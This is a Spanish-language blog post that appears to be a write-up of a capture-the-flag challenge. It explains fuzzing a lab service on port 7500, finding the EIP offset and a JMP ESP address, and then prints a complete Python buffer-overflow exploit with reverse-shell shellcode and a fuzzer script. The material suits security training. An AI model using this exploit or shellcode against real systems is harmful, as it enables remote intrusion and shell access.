El 19 de Junio pasado tuvo lugar el segundo "How strong if your Fu", torneo de hacking organizado por los chicos de Offensive Security. Tuve la oportunidad de participar (haciendo team con Hackspy) y fue una experiencia bastante interesante. A diferencia de otros torneos, los de Offsec siempre son un tanto reales. (TRY HARDER !!)
En este post describiré la solución del primer reto (Vuln). Primero delineo brevemente el escenario utilizando el lenguaje telegráfico:
- VPN, 5 equipos
- Puertos descubiertos en el primer equipo : 22, 80, 7500
- Servidor Web lista un directorio con 2 archivos: vuln.c y vuln
- Viendo el source, vuln abre el puerto 7500.
- Funcion handle_reply() es vulnerable a buffer overflow.
- A explotar !!!
Todos los ficheros utilizados en este post pueden ser descargados aqui.
Dado que tenemos el fuente se hace fácil reconocer la cantidad de caracteres que permitirán el desbordamiento, sin embargo y para no perder la costumbre, escribimos un pequenho fuzzer.
Listo, al fuzzear vemos que alrededor de 280 bytes crean el desborde con su respectivo Segmentation Fault. Utilizando gdb para el debug, confirmamos que el registro EIP ha sido sobreescrito con el valor hexadecimal de "A" (41).
Al analizar ESP vemos que también estamos en control de este registro.
Ahora es necesario descubrir exactamente cuáles son los 4 bytes que sobreescriben el EIP para poder tomar control del flujo del proceso. En este caso utilizaremos a metasploit, en específico, las herramientas pattern_create y pattern_offset. Pattern_create crea una cadena con caracteres no repetidos y de un tamanho a eleccion, en nuestro caso, 280. Utilizamos esa cadena para enviarla al soft vulnerable y una vez sobreescrito el EIP utilizamos la herramienta pattern_offset para descubrir exactamente cuáles son los bytes que escribieron sobre EIP. Veámoslo en imágenes:
EIP fue sobreescrito con 0x6a413969 y utilizamos estos caracteres como entrada de pattern_offset:
Oka, ahora sabemos que a partir del byte 268 estamos sobreescribiendo el EIP. Otro problema: con que dirección sobreescribimos el registro EIP ? Sabemos que podemos controlar a ESP así que podemos poner la shellcode ahi y de alguna forma sobreescribir EIP para que "salte" a ESP (JMP ESP). Afortunadamente este ejecutable nos hace la vida más fácil dado que ya tiene una función jmp() que hace exactamente eso!
int jmp(void){
__asm__("jmp %esp");
return 0;
Lo que tenemos que hacer ahora es encontrar la dirección de memoria con el buen gdb.
Tenemos la dirección de la intrucción JMP ESP (0x08048703). Ya podemos empezar a crear el exploit y el buffer que enviaremos se verá algo asi:
buffer= "A"*268 +
"\x03\x87\x04\x08" #JMP ESP
+ shellcode #Payload a elegir
Por último, debemos elegir el payload. Metasploit nos ayuda una vez más con la herramienta msfpayload que permite generar shellcodes con distinto payload: conseguir shell, shell reversa, meterpreter reverso, etc, etc, etc. En este caso yo elegiré una shell reversa hacia el puerto 4444 :
Ahora todo listo, escribimos el exploit correspondiente y antes de ejecutarlo abrimos el puerto 4444 con netcat.
Voila!
Happy Hacking
Mvelazco
################################
#coded by mvelazco
#http://ehopen-sec.blogspot.com/
#mvelazco at open-sec.com
################################
import socket
import struct
s=socket.socket(socket.AF_INET, socket.SOCK_STREAM)
print "\nSending buffer..."
s.connect(('127.0.0.1',7500))
# Reverse shell port 4444 by metasploit
shellcode=("\x31\xdb\xf7\xe3\x53\x43\x53\x6a\x02\x89\xe1\xb0\x66\xcd\x80"
"\x5b\x5e\x68\xc0\xa8\x28\x69\x66\x68\x11\x5c\x66\x53\x6a\x10"
"\x51\x50\x89\xe1\x43\x6a\x66\x58\xcd\x80\x59\x87\xd9\xb0\x3f"
"\xcd\x80\x49\x79\xf9\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69"
"\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80"
)
buffer="A"*268
ret= "\x03\x87\x04\x08"
buffer+=ret + "\x90"*0 + shellcode
s.send(str(buffer) + '\r\n')
s.close()
print "EXPLOITATION DONE"
print "HAVE A NICE DAY :P"
#coded by mvelazco
#http://ehopen-sec.blogspot.com/
#mvelazco at open-sec.com
import socket
import time
buffer='\x41'*40
while len(buffer)<10000:
s=socket.socket(socket.AF_INET, socket.SOCK_STREAM)
try:
s.connect(('127.0.0.1',7500))
print "fuzzing with "+ str(len(buffer)) + " bytes"
s.send(buffer + '\r\n')
buffer+='\x41'*50
s.close()
except:
print "Crashed!!"
break